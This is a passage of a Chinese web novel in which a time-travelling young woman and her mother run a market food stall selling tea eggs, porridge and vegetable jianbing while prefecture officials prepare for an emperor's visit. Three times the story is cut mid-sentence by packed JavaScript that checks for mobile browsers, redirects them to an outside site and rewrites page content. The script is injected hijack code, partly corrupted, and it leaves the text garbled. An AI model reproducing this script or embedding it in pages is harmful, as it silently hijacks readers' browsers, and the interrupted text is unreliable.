也不等陈青青再说什么,又接着吃了一口又一口,竟两下子把茶叶蛋吃完了。 “好!好!是沾了仙气的吃食!”孙二赞不绝口,又问陈青青:“明儿你还来摆摊儿?” 陈青青点点头,“以后就都来摆摊了,也好有些进项。” “行,你们就情好吧。”孙二朝娘两个做了做证,“这么好吃的东西,就该叫大伙都知道。” 看着孙二离开的背影,陈青青一时又有些好笑,看来是给自己四下宣传去了。 果真,不一会儿就有人过来,要尝一尝沾了仙味的茶叶蛋。 陈青青不禁失笑,这孙二还真是个说书的人! 只可惜茶叶蛋只剩下两个了,八个铜板卖给了一人,陈青青只好朝其他人说对不起了,“真是对不住,今儿的茶叶蛋卖完了。” “明儿我多做,到时请各位娘子、郎君再来品尝。”陈青青朝众人笑着说道。 “明儿一定要多做些。”一位上了年纪的男子道。 “一定多做!”田娘子再三保证。 众人才渐渐散开。 田娘子和陈青青两个收拾了摊子,打道回家。 进了家门,田娘子就抑制不住兴奋劲,朝陈青青直道:“青青,今儿一早上咱们就可以哈。” 一百个茶叶蛋,除去自家吃的,粗略算来挣了得有一百五十多文钱。 要知道,就算在汴州城里,一个壮年汉子下大力气,一天工钱最多也就一百文,自己和闺女两个弱女子,竟然一早上就挣了这么多,田娘子不能不高兴。 陈青青看阿娘那高兴劲,也笑了。 其实她知道,自己卖这茶叶蛋只占了个新奇,这煮蛋的法子不难破解,就怕要是真火起来,不久就会有人模仿了,到时可卖不上这么高的价,没这么高的利了。 当然,陈青青心里有的是做吃食的法子,再说了,还有好几种“秘密武器”呢,不怕不怕。 “今儿倒是多亏阿娘想得周到,我便没想到用竹叶包东西的法子来。”陈青青朝阿娘笑,要不是阿娘事先准备了,还真一时找不到东西来用。 田娘子嘿嘿笑了,“阿娘也厉害的是吧!” “当然,我早就说了,这个家还得靠阿娘撑着。”陈青青故意逗她,一时间母女俩都大笑起来。 因今天茶叶蛋卖得不错,陈青青决定明儿再多煮一些。 不过陶釜只一个,只能分两次煮了。看来还得扩大设备,炉子和陶釜都得再买上一个。到时小车做好了,车上放一个炉子,家里放一个,就不用搬上搬下的费力气了。 陈青青暗自盘算。 家里的鸡子也没有了,田娘子叫陈青青在家歇着,她出去买鸡子去。 这是还把陈青青当小孩子看待呢。 陈青青拗不过她,便随她去了。 自己在家琢磨着,天气越来越暖和,种子该种起来了,便到后院翻了会地。 虽说陈青青以前也在老妈的菜园里帮过忙,到底也没真干过多少活,这回自己去翻地,只一会便累了。 还要是多挣钱,到时包上大片的地,请上人来种。种上我的花生和玉米,种上我的辣椒和土豆还有我的玉米,到时我就真的发达了! 陈青青边努力干着活边畅想未来。 一旁的玉兰树叶随风摇曳,樱桃树和杏树都已花落叶绿,正是生机盎然时。 过了一阵子,田娘子回到家来,不见闺女,忙吆喝起来:“青青,青青,你在哪?” “阿娘,我在后院。”陈青青听到阿娘有些着急的声音,忙出声应着。 田娘子到了后院,一看闺女正在翻地干活,竟是大惊失色,慌忙过来问:“青青,你怎么干这个?快别累着了。” 知道阿娘疼闺女,没想到竟是这样的,陈青青不禁笑道:“阿娘,我不是小孩子了,这活儿我能干。” 田娘子看着比自己还高的闺女,一时又是欣慰又是感叹,“哎,我闺女真长大了呀!” “是真长大了!”陈青青笑一句。 不说自己穿越前是个成年人了,便是原来的那个陈青青也有十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192634|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七八岁了,是大人了。 “阿娘,我前几天上山得的那些东西,我仔细想了,既然得神仙指点,是不是得想法种下去,要是真能再结出果来,可是天大的好事。” 陈青青趁机把要种菜的事说了。 田娘子一听连忙点头,闺女说的对,就按这个办!便也和陈青青一起干起活来。 娘两个一起翻了半天地,便回到前面,歇一歇准备着煮茶叶蛋了。 这回煮了一百五十茶叶蛋,有了昨天的经验,两个人做起来倒也快了不少。 第二天,娘两个照旧去摆摊。 牛蹄石前面的空地上人更多了,陈青青有些诧异,怎么一个地方繁荣起来就这么快? 看来“华夏速度”自古有之呀! 两个人刚摆好摊,便有人围了上来。 “你们可来了呀,就等着吃这一口呢。”原来是昨天没买到的人正等着呢。 陈青青笑着招呼人,今天的买卖算是开了张。 有了昨天打底,再加上香气诱人,今天的来买的人倒比昨天更多些。 “昨儿尝了确实好吃,今天多买两个也叫家里人尝尝。”一个说道。 “听说了没,都说这是沾了仙气的茶叶蛋呢,可不得吃一个。”另一个道。 陈青青听了只是笑。沾仙气就沾仙气吧,能卖出东西也成。 “田娘子,你们来了呀。”孙二上前打招呼,“今儿我多买两个,给家里人尝尝。” “好来。”陈青青看他数了十个铜板,利落地包了三个茶叶蛋递给了他。 其实花十文钱买三个鸡子,孙二也有些肉痛,不过这茶叶蛋的味道实在好吃,再加上他这些天也有些外快,倒也痛快地买了。 “你们看出来了没有,今儿人多吧。”孙二做出个悄声说话的样,可声音实在算不上小,“听说没,明儿京兆府里还要来人。” “官差老爷又要来?明儿是什么日子?”不等陈青青她们问,早有人接上了话茬。 “你又不知道了吧,明儿是神幕出现的日子呀!”孙二有些得意,一副你问我呀,你问我呀的模样。 真是叫人忍俊不住。 明天又到直播的日子了?陈青青倒是没觉得,时间过得这么快? 京兆府还要来人?看来上回尝银子的就是京兆府里的官员了。 不知道是什么官,府尹或是少尹? 陈青青看古代资料,对美食注意的比较多,其他的只是一知半解。 管他什么官来呢,咱们就老老实实地卖吃食,也不犯事,不怕那些。不过要是能知道是现在什么朝代就好了,来了这么多天,陈青青还是没机会知道这时到底是哪朝哪代。 陈青青心里琢磨着,手上也没停,不觉着茶叶蛋又卖出去大多半了。 陈青青扭头看看阿娘,田娘子正收着钱,脸上带着犹不自觉的笑意。 再看看面前吃着茶叶蛋连声称赞的众人,陈青青一时倒觉得很有些小小的满足。阿娘高兴,人们吃我做的东西也吃得高兴,可真好! 15. 京兆府 转瞬又是一天。 这天算起来正好是神幕出现的日子,大清早,青云镇上的人便明显比前几日多了起来。 田娘子和陈青青娘两个也是早早就到了摆摊的地方。 今天陈青青比昨天多做了一些茶叶蛋,共计两百个。 陈青青决定了,目前就做这些,不再多做了。不过今早按田娘子的提议,熬了糊粥来卖。 当然,陈青青没舍得放花生碎,就那么点花生,还要做种子,自己家尝尝味道就好,别人就先算了。 陈青青熬糊粥时放了些白米,虽然没有咸花生糊粥那么香,倒也味道不错。 陈青青把糊粥定价两文钱一碗,这价格不算低。不过她又想了个新招出来——有限续杯。 买了自家的糊粥,在食摊上喝的,喝完不要钱可以再续,数量限三碗。 陈青青一把两文一碗的价格说出来,食摊前的人便都觉得贵了,两文一碗只是有稀薄的粥,谁买! 但听说还免费再续,便又有人动心了。 喝一碗,就不用再花钱了,这便宜谁不想赚。 陈青青刚说完便有人坐下准备来碗糊粥了。 因为打算今天要卖糊粥,田娘子昨天专门买了粗瓷的白碗,今天早上又把家里的矮桌子和几个小杌凳带了过来,勉强成了个能坐人的食摊。 那中年人寻了个位子坐下,田娘子端来一碗糊粥,“客官请慢用。” “再拿两个茶叶蛋来。”中年客官又道。 田娘子便又用小碟子盛了两个茶叶蛋,因为是用碟子所以还带了些许的汤汁。 中年客官剥开了蛋壳,微带褐色的蛋白上布满了褐色的花纹,煞是好看。 他用筷子夹开了茶叶蛋,香气越发浓郁馋人,忙夹了一小块蘸了汤汁送进嘴里。 好吃,好吃。中年客官边吃边点头,这茶叶蛋还是蘸汤汁更好吃呀。 转头看到一旁有卖胡饼的,又花两文钱买了个胡饼来,一口饼一口蛋吃了起来,再喝一口糊粥,满足! 不过是简单的小食,竟叫他吃出了山珍海味的感觉。 旁的人看他吃得意味十足,也有样学样,一碗糊粥,两个茶叶蛋,再买一个胡饼,坐在小桌前吃了起来。 转眼,小桌旁就坐满了人。 旁边的胡饼摊是个夫妻档,两口子三十多岁的模样。男的做饼,女的负责卖,倒也搭配默契。 昨天两人便见旁边的茶叶蛋摊子买卖好,又听说是青云镇上的陈小娘子,有仙缘的那个,便有心结交。今儿见人家的茶叶蛋还带动了自家的胡饼买卖,那位胡饼摊上的娘子便笑着搭话了。 “田娘子,我们这边还有个小桌,不如并在一起也多坐些客。” 田娘子见那两人也是面貌和善的,便笑着答话:“也好,倒是烦劳娘子了。” 几句话下来,那娘子也介绍了自己的来历,她姓王,官人姓李,是常年赶四集摆摊的人。昨天听说青云镇上兴起了集市,便过来摆摊了,正好也见识见识神仙。 “田娘子,听说那神幕要午时三刻才出现。”王娘子问。 “正是哩。” “那不正是饭点上?”王娘子嘀咕着,听说是什么美食直播,倒正和着饭点。 “就是,为什么非是午时三刻,说书的可都是说午时三刻杀人的来着!”陈青青朝阿娘开个玩笑,引得田娘子瞪她两眼,“呸,呸,你快呸一下,什么杀人不杀人的,不许对神仙不敬。” 阿娘认真的样子倒把陈青青逗得直笑,“好,不乱说不乱说。” 却说京兆府因为官家所命,今天又有人到了青云小镇。 打头先过来的是京兆府的包少尹,如今他正带着随从在街上巡视。 自青云镇里正上报神幕之事,包少尹已和府尹来过一次。原来以为神幕只是一时所现,没想到竟出现了四回。 方圆数十里莫不为之惊动,朝中大臣亦为此事所动,都与官家称之为祥瑞。 自官家登基以来,勤于朝政,更是派曹帅于幽蓟大败契丹军。如今四海升平,海晏河清,百姓乐业。 正因如此,才天降祥瑞。 众大臣这样捧着说,官家自是龙颜大悦,便下了喻令要前去亲历这祥瑞之事。 当然,官家也是凡人,对神仙之说难免向往。 官家前些天已派了府尹到青云镇查看,如今要御驾亲至,可是件大事。青云镇是京兆府管辖之地,自然要先准备起来。 京兆府的包少尹便是打头的先锋。 只见青云镇那牛蹄石前已然成了集市,各种摊子都摆了开了,倒也还算乱中有序。 包少尹心里多少有些吃惊,没想到集市形成的这么快,可见神仙之说动人心。 “郎君,今儿赶得早,你还没用朝食呢,不如小的去看看买些回来。”包少尹身边的随从跟随他多年,处处为自家阿郎打算。 “也好。”包少尹赶了半天路,确实有些饿了,“不同,你去买些回来就是。” 两人正好停在了陈青青的食摊前,不同见这食摊上围着不少人,便与阿郎说一声,过去买吃食了。 包少尹望过去,倒是认了出来,这不就是那据说遇仙缘的陈家人。 看陈青青正与田娘子说笑着,再也没有那日看到的颓废之色,一脸笑意,倒如春日里染上新绿的小树,俏生生的一派盎然。 这陈小娘子倒是个豁达的,不自苦,不错!包少尹暗赞一句。 包少尹是不明白新华夏儿女的的自信与昂扬。 陈青青在穿越前不说是在蜜罐里长大,也算是在甜水中成长的,当初不过是刚穿来这里还没找到北,如今安下心来,现代女性的自信气质便展现出来。 这是新华夏给予她的儿女们的底气与力量。 不同买了六个茶叶蛋从人群中出来,忙上前递了一个给少尹,“阿郎快吃吧。” 又道:“这小娘子倒是会做生意。” 包少尹哦一声,不同便说了起来:“这个叫茶叶蛋,四文钱一个,算贵吧,可十文钱能买三个。” “还有,她家也卖什么糊粥,两文一碗,贵吧。偏又免费续碗,限量三碗。” 哦?包少尹听了不同的话倒有些好奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201352|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,这小娘子倒有经商之才,能想出这么新奇的法子。又听了这茶叶蛋和糊粥都是以前没见过的吃食,不免又朝食摊上看了两眼,只见那陈小娘子正欢快地包好茶叶蛋递到食客手里,嘴里还笑着说些什么。 倒是个有趣的小娘子。 包少尹打开竹叶包裹的茶叶蛋,是和平常煮鸡子不同,是茶褐色的壳,确实应了茶叶蛋的名。 剥开蛋壳,却见蛋白上布满褐色裂纹,倒像瓷器上的冰裂,确实新奇。 包少尹咬一口,慢慢品尝,随即又朝不同吩咐道:“再买几个,等府尹来了送给他尝尝。” 不同应一声,还有些不大情愿,嘀咕着:“为什么要给他,他自己不会叫人来买吗?他那么金尊玉贵的人,能看上这粗陋小食?” 不同有些看不惯这位府尹,平日里只管那副纨绔作派,活都叫阿郎干了,倒没见得阿郎得什么好。 包少尹知道不同心里的想法,只笑笑不语,接着把手里茶叶蛋吃了。 不同见识浅,自是不明白府尹此人。虽然他平日里总是一副公子作派,又是锦衣堆里长大的,吃喝玩乐自是精通,可作为一个不到二十岁就上过战场杀敌的人,哪会像他表现出来的那样不学无术,不过是做出个放荡不羁的样子罢了。 别人都叫他那万事漫不经心的样子骗过了,自己作为他的直系下属可是明白的很。没有他,京兆府的差事哪就那么容易做好了;没有他,哪有人这么高看京兆府一眼。朝中高官显爵多的是,可谁又真敢不把京兆府放在眼里。 不同也吃了个茶叶蛋,越发坚定了自己的想法,这么好吃的东西,还是别给府尹吃了吧。 可到底不敢不听自家阿郎的话,又去买了三个茶叶蛋回来准备带给府尹。 已是日上三竿了,京兆府的府尹才到了青云镇。 府尹一身淡蓝常服,头带朝天簪海棠花的幞头,骑一匹照夜白马,端的是风流倜傥。 哪有什么公干当差的模样,分明是打马游春的俏郎君。 行至人多处,府尹跳下马来,早有人过去牵了马。 包少尹远远看他来了,忙迎上前去。 “府尹,可曾用过朝食?下官在集市上买了样小食,滋味倒也足,请你尝尝。” 包少尹说着示意不同把茶叶蛋呈上来,不同倒有些扭捏着不想向前,到底还是把茶叶蛋递了过去。 府尹挑挑眉,自是知道包少尹的脾气,他既这样说了,应是味道不错,便叫身边的长随张茂实接了过来。 粗一打量,竹叶包裹下似是煮熟的鸡子,府尹微微一笑,“希仁有心了。” 包少尹笑道:“此物倒是新奇的吃法,府尹等会儿大可尝尝。” 两人又闲话几句,便说起了正事。 他们今天是为了官家过几日来观看神幕之事。天子出行,处处不是小事,务必要万事周全。 “官家来也就来吧,长公主也吵着要来,真是添乱。”府尹说一句,脸上满是嫌弃之意。 包少尹看看府尹那似笑非笑的样子,没接话。也就这位了,别人谁敢这样说官家和长公主。 16. 菜煎饼 陈青青早早便收了摊。虽然今天茶叶蛋煮得多,但有昨天打开了市场,再有糊粥的加持,倒卖得更快些。 收摊的时候,隔壁的王娘子也帮忙收拾。今天搭了人家摊子的光,胡饼倒比平日多卖出一些,王娘子很是感激。 “明儿再来了。”王娘子热情地与田娘子告别,又说好了等会到时间了一起去看神幕。 田娘子笑着应和着,和陈青青一起推车回家。 盘点一下今天挣到的钱,陈青青想着还是得扩大规模,再上“新产品”才行。 炉子、陶釜、鏊子,再加上小推车,还有各种原材料,手上的钱还是紧巴巴的。 与阿娘一商量,索性今天先把炉子和陶釜先买着,对,还要再买些鸡子。 娘两个拿了钱出了门,刚到门口迎面来了人。 “陈小娘子,你要的推车做好了,正好给送过来。”原来是李木匠把车子做好了,还给送了过来。 陈青青倒有些不好意思了,虽然自己是着急用,倒也不用这么赶,还又给送了过来。 “老伯,辛苦了。”陈青青道声辛苦,又去看自己的小推车。 围着小车转一圈,陈青青边看边点头,符合自己的想法,做工也蛮精致,确实不错。 看她这样子,李木匠就知道是满意了,“怎样?还满意不?” “满意,满意。”陈青青脸上带笑,忙把余下的钱付了。田娘子又请李木匠进家坐坐,喝口水再走。 “不了,不了。听说今儿是神幕出现的日子,老汉还要去看看呢。”李木匠推辞着,这家里也没个男人,他这外人倒不好进去。 陈青青突然想到自己还需要个拉东西的小车,便又和李木匠说了。 如今自己是小买卖,买原料还到不了叫人送货上门,得有个小车拉东西才方便。 李木匠想了想便应了下来。 这回陈青青给了和现在这个推车一样的价钱,“我知道老伯这车收的钱公道,可总不能叫你吃亏才是。” 李木匠不依,这回再做的小车可比这个推车省事不少,哪能收这么多钱。 自己本也没打算挣钱,只收了个本。 争让半天,李木匠才又收下了三百文,算作小车的钱。 “老伯,明儿我这车一推出去,肯定有人也想要,到时就找你做了。”陈青青这是要给李木匠打广告了。 “到时我把价说高点。”陈青青眨下眼,俏皮道。 “哈哈,你这小娘子。”倒把李木匠逗得大笑,“那老汉就多谢了。” 钱货交割清楚,李木匠去等着看神幕了。 陈青青和阿娘把小车推进院子,试了试,炉子放上正好,前面板打开了能放东西,就连小桌子也能放上推走了。 “可真好!”田娘子拍拍车子赞道,“还是我闺女厉害,想出这样的车子来。”田娘子又把自己闺女夸一通。 陈青青也喜滋滋的,这回再出门摆摊就不用愁了。 娘两个出门买了炉子和陶釜还有鸡子回来,田娘子瞅瞅天光,“快到时辰了,咱们得快去。” “还去看呀。”陈青青知道阿娘要去看神幕了,那可真没什么好看的,她可不太想去。 “你这孩子,快走。”田娘子可不管她怎么想,神仙都不拜,你还想干嘛! 娘两个到了牛蹄石那里,嗬,黑压压的全是人。 今天的人可比以前多了去了。 “时辰到!”不知谁高声喊了一句。 只见光幕一闪,那石壁上又出现了所谓神幕。 其实陈青青有点记不得自己这回播的是什么了,反正就泥石流播法,想播什么就什么了,亏得有人看。 光幕一闪出来,陈青青记得了自己这回播得是什么了,应该是炸薯条。 那会儿刚买了个空气炸锅,做薯条倒是蛮简单。 土豆切成粗条状,开水焯熟,沥干水分放空气炸锅,稍稍刷一点花生油,180℃十多分钟,中间看情况翻一翻,懒人又好吃的做法。 “今天直播做薯条……” 甜美的女声一出来,乌压压一片人跪了下去,“神仙保佑,仙子保佑……” 众人的声音盖过了光幕里的声音。 陈青青从善如流地跟着跪了下去。 哎,为什么要跪呀,站着好好看直播的视频不好嘛,好歹开开眼,看看现代美食呀。陈青青跪在那里暗暗吐槽。 京兆府的人在后面远远地看着,虽然他们也跟着跪了,但很快便站了起来。 府尹看着跪成一片的人,脸上不免露出几分玩味的笑来,不知道官家来了,看到这情景作何感想。 包少尹也随着前面府尹起了身,看看那石壁上的光幕仍觉有些震撼。 这神幕倒也有些意思,净讲些吃食,看来纵是神仙也逃不过珍馐百味。 因为上回便听神幕上说过薯条,青云镇上的人一时有些与荣有焉的感觉,不禁朝身边没来过的人小声介绍,“上回仙子就说了这薯条,没想到这回竟然亲自做了出来。” 旁边的人马上羡慕起来,还得是青云镇,得天独厚。 陈青青有些尴尬,早知道直播的时候就再用心一些,好好向这些古人人展示一下我大华夏的新文明了。 陈青青站起了起来,跪在那里真挺累的。 其他人有样学样也渐渐都站了起来。陈青青瞅瞅两旁的人,心道,跪着累吧,还是站着看才好。 再看直播间大屏幕上,众人正说得开心。 这个说:【没想到主播还真会做吃的,以为只是耍嘴皮儿呢。】 那个又道:【别说,这薯条看着还不错,色香味都有了。】 又有人大笑:【哈哈哈,还色香味,你闻得到嘛你!】 更有回:【想象,想象,要展开丰富的想象。】 …… 光幕里,陈青青炸好薯条,又翻出了一瓶番茄酱,当然是来自亲爱的妈妈田女士的投喂。 薯条沾番茄酱,绝配! 一时间,大屏上嚎声四起,都是被馋的。 一个不由叹:【为什么,明明很平常的东西,到了主播这里就变得这么馋人了呢?】 一群人跟着附和:【+1】【+2】 ……【+10086】 陈青青有些看乐了,你们再怎么展开丰富的想象,也想不到我现在在哪里! 还没想到我现在巨会做吃的,我有信心,有能力把古代的人馋哭了好不! 再看看一旁的“古人”们,还真被光幕上的薯条配番茄酱馋住了的样子。 陈青青更乐了。嘿嘿,这两样,如今我都有,你们就情好吧! 也亏得直播的时候只咔咔一阵做,没说土豆和番茄的名字,要不后面再叫这名字会“露馅”。 一时石壁上一道光闪过,光收影歇,石壁又恢复了原样。 众人朝石壁呆立片刻,又纷纷回过神来,各自慢慢散去。 陈青青和田娘子也朝家里走去。 钱嬷嬷在后面追上来,“田娘子,听说你和青娘摆摊的买卖还不错?” 田娘子点头,“是还可以,都是青青想出来的好法子。” “这样就好,这样就好。”钱嬷嬷一拍田娘子胳膊笑道,“前阵子看你那样子,我还怪担心的。如今这样多好,做个小买卖有了进项,也有个奔头。” “嬷嬷说的对!”陈青青应一句。 人活着就是要有个奔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210152|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 第二天,陈青青和田娘子推着做好的车子去摆摊,一时吸引了众人的目光。 胡饼摊上的王娘子更是赞叹不已,“你们这车子好,又能装东西又轻便。” 陈青青趁机给李木匠打起了广告,“王娘子好眼光,这车子用料足,做得也精心,是李庄的李木匠精心打造。” 王娘子笑得灿烂,“小娘子这么一说,那李木匠肯定要接不少活儿。” 摆好摊,生意便开张了。还是昨天那两样,糊粥和茶叶蛋。陈青青盘算了,这些天就先卖这两样,等过几天就上菜煎饼。 王娘子又主动把自家摊上的小桌子并了过来,田娘子笑着道了谢,两家摊子便都忙开了。 不一阵,今天的茶叶蛋便卖光了,糊粥也只剩了个底。 好,收摊回家! 不时又有没买到的人前来询问,失望之余决定明儿来早些。 也有人来问车子,仔细打听在哪里做的,价钱几何。 陈青青便说了李木匠,又把价格搞高了许多,说用了八百多文。总不能叫李木匠赔本赚吆喝。 这样一连几日,陈青青的食摊生意很好。田娘子又找来旧布做成酒旗的样子,在上面绣了个大大的陈字,挂在了推车上,也算是有了招牌幌子。 在李木匠那里做的拉东西的小车也送到了,是位壮年汉子送过来的。 原来这是李木匠的儿子,本来也是和老爹爹一起做木匠的,家里生意渐少,自己出去找活干了。如今家里来了不少活,李木匠把儿子找了回来,爷俩一起干。 “其实我爹爹想亲自过来的,可是家里活儿要得紧,我便来了。”李木匠的儿子也是个憨厚的,只道。 “还是得多谢大娘子和小娘子,要不家里也没这么多活。”说着竟朝田娘子两个作了一揖。 田娘子忙福身回个礼,“李郎君言重了,是你们手艺好才招来的生意。” 送走了小李木匠,陈青青试试小推车,不错,好用。 这回拉东西的车有了,钱也挣了点,鏊子买上,新吃食得拎上来了。 这天中午便尝新品——菜煎饼。 这还是以前妈妈出去吃到的小吃,回来做给陈青青吃。一吃便吃中了。 菜煎饼做起来也简单,陈青青以前也上手做过。 陈青青把粗面加少许细面,和成糊状。鏊子置在炉子上,等鏊子热了,用刷子在鏊子上刷上油。 少许油就好,刷油的目的是为了让煎饼不粘在鏊子上,当然味道更香一些。 陈青青舀出一勺和好的面糊,倒在了鏊子中间,然后用竹刮板迅速摊开面糊,一个完美的圆形便呈现出来。 稍等片刻,薄薄的煎饼便翘起边,陈青青用铲子把煎饼揭一下,翻个面,煎饼便做好了。 把烙好的煎饼放一边备用,鏊子上刷油,打上一个鸡子用刮板稍稍刮开,放上煎饼,鸡子熟了便和煎饼成了一体,再翻过煎饼,这时候便可以放上调好的菜馅了。 粗白大碗里放有切好的菘菜、韭菜、菠菜、荠菜。家里只有这几种菜,陈青青便每样来了一些。 若是有别的比如茄子、包菜、土豆、小瓜、豆腐、胡萝卜甚至豆芽、海带都是可以的,要是再放上些事先泡好的粉条是最好不过了。 以前妈妈就常做这样的什锦菜煎饼,味道足,香得很。 若是再放上肉肠又或炒好的肉丁便是另一翻味道了,想想就很馋人。 如今家里条件有限,陈青青也只好放这几种菜了。 菜放好用铲子均匀摊在煎饼上,翻个面,等菜熟得差不多了,再翻一下把有菜的一面朝上,煎饼对折,在鏊子上慢慢烙到煎饼两面金黄,香喷喷的菜煎饼便做好了。 17. 新吃食 陈青青把做好的菜煎饼从中间一分为二,一半给阿娘,另一半自己拿着吃了起来。 实在是有些馋了,都等不及再做一个,陈青青啃一口煎饼想想不禁笑了起来。 “你也不怕热。”田娘子嗔她一句,自己却也忍不住咽了下口水。 也怨不得闺女这副馋样儿,菜煎饼实在是太香了,田娘子也咬了一小口吃了起来。 热气腾腾,香味扑鼻,菜香混着煎饼的香气,叫人忍不住吃了一口还想再来一口。 一时间娘两个谁也没再说话,只专心吃着手里的煎饼。 等到半个煎饼下了肚,陈青青才觉得心里肚子里都踏实了些,问阿娘:“怎么样,这菜煎饼如何?” “当然好吃得紧!”如今田娘子对自己闺女的认同已经到了一个新高度,也不问她怎么会这个了,只管夸就是。 要是最后再放些馓子,就更香上加香了。 陈青青还是有点遗憾。 不知道这时有没有馓子这种东西。 陈青青记得苏东坡曾写过“碧油煎出嫩黄深”的诗句,就是写馓子的,估计这会儿应该有馓子。 果然,陈青青问田娘子,这里还真是有馓子的。 “你是说食馓呀,又叫寒具,是寒食节才做的吃食。”田娘子以为闺女想吃这个了,一时来了精神,这个她会做。 “等过些天就是寒食节了,阿娘做给你吃。” “好,好!”陈青青说好,“食馓放在菜煎饼里更好吃。” 有了第一个菜煎饼的经验,陈青青再做起来,越发熟练。 一口气又做了三个菜煎饼,一人两个,这回能吃个足了。 吃完菜煎饼,田娘子琢磨也个事情来,“这菜煎饼倒是和糊粥很配,明儿食摊上可以有新吃食了。” “不过这煎饼出锅太热,要有东西放着才好给人吃。” 陈青青自己倒是没想到这茬,“还是阿娘想得周到!上回多亏了阿娘想到用竹叶,我就没想到这事儿。” 田娘子自己也笑,“你以为阿娘这些年的饭是白吃的。” “阿娘最棒了!吃的饭比我见过的都多。” 田娘子被闺女这句逗得噗嗤一声笑了、 一时间,娘两个笑做一团。 两人研究半天,想出了法子。 若是客人要带走,就用油纸包好,若是当时就在食摊上吃,便用小片的竹帘儿,倒也便宜。 想好了办法,娘两个开始准备材料。 做茶叶蛋的,做菜煎饼的,做糊粥的,别看买卖不大,要准备的东西却不算少。 这也是家里还有些存菜,以后得上集市上买菜了。 要是以后有钱了,这些活高低得请人来做,到时我就做个甩手掌柜的,岂不美哉。 陈青青边忙边畅想未来。 因为要添菜煎饼这个新品,陈青青决定把出摊的时间从早晨改到中午。这样一来早晨不用早起,人也能多休息些。 身体才是革命的本钱。 二来,菜煎饼是个饱腹的吃食,还是中午时的受众多些,并且用上午的时间可以先把煎饼烙出来,到时用的时候不用现烙了,省不少事儿。 第二天快到中午饭点里,陈青青和田娘子才推着车子出了门。 到了摆摊的地方,胡饼摊上的王娘子就迎了上来,“你们今天改时辰了呀,早上好多人找你们呢。” 陈青青拍拍手,哎呀一声,“光想着改到中午的饭点上了,竟忘了和客官们说一声。” 还是做生意没经验,客户流失了呀! 见陈青青一脸懊恼,王娘子不禁安慰道:“没事,没事,你们家东西味道好,客官们都记着呢。” “借你吉言。”田娘子回着,把小桌子摆好,仍旧和王娘子家的桌子并在一起。 “王娘子,我今儿出了新吃食,等会儿你们尝尝。”陈青青早已收拾好情绪,又是干劲满满了。 听陈青青这样说,王娘子倒有些期待起来。 自己倒也尝过她家的茶叶蛋,确实是个好吃的。 这陈小娘子的手艺好,今儿不知又做了什么好吃的。等会一准得尝尝,不过倒不好意思白吃人家的,大不了出钱买来就是。 王娘子心里盘算着,朝陈青青大声笑应:“你这一说我可等着呢。” 趁着吃饭的人还没上来,陈青青便做了个菜煎饼,一分为二用小竹帘放着送到了胡饼摊上。 “这是刚做出来的菜煎饼,你们尝尝新,提个意见。”陈青青说得真诚。 王娘子有心拒绝,可这菜煎饼的香味实在有些馋人,想想便收下了。心里想着等会儿要给人家钱,这都是有本钱的,可不能白吃。 陈青青倒没料到人家心里还有这样的纠结,她可是诚心想叫人尝尝新。 刚回自己摊上,就有食客过来了。 “小娘子今早怎么没出摊?叫我好等。” 陈青青一看,有印象,是第一位买茶叶蛋的那位客官。 “这位郎君,实在不好意思,因为出了新品,食摊改在了中午,事先忘了说了……”陈青青有些不好意思。 “今儿有新品菜煎饼,十文一个。郎君要不要尝尝?”陈青青趁机推新品,“郎君是我这食摊的第一位客官,今儿给你打个八折,这菜煎饼只要八文。” 中年食客因为吃过茶叶蛋的味道,倒是对这新品很有信心,道一声:“好,茶叶蛋来三个菜煎饼来一个。” “好嘞!郎君稍等。”陈青青脆声应了,“要不这边有桌子,郎君先坐下等一等。” 中年食客点点头,田娘子把他引到小桌边坐了下来,舀了三个茶叶蛋盛在碟子里放在食客面前。 不一会,菜煎饼也做好了,热气腾腾的菜煎饼放在干净的竹帘上,放到了食客面前。 “有些热,郎君稍等等再吃。这边还有糊粥,可以来一碗。”陈青青脸上带笑推荐着,“两文一碗,喝完了可以免费续。” 中年食客听着笑了,“小娘子的法子倒是新颖。”便要了一碗糊粥。 菜煎饼的香气扑面而来,中年食客竟有些等不及了,两手捧起竹帘咬了一小口煎饼。 果然不负所望! 菜很香,似有菘菜、菠菜、韭菜、鸡子,对还有荠菜和豆腐,几种菜的味道和煎饼的香气混在一起,合成了一种更特别的香气,却又层次分明,叫人欲罢不能还想接着再吃。 中年食客不再多说什么,边吹着热气边吃着煎饼,脸上全是满意之色。 陈青青一边看着心里更有了谱,这回的新吃食可以。 等这食客付钱的时候,菜煎饼却给了十文,并没有按陈青青说的八文钱。< 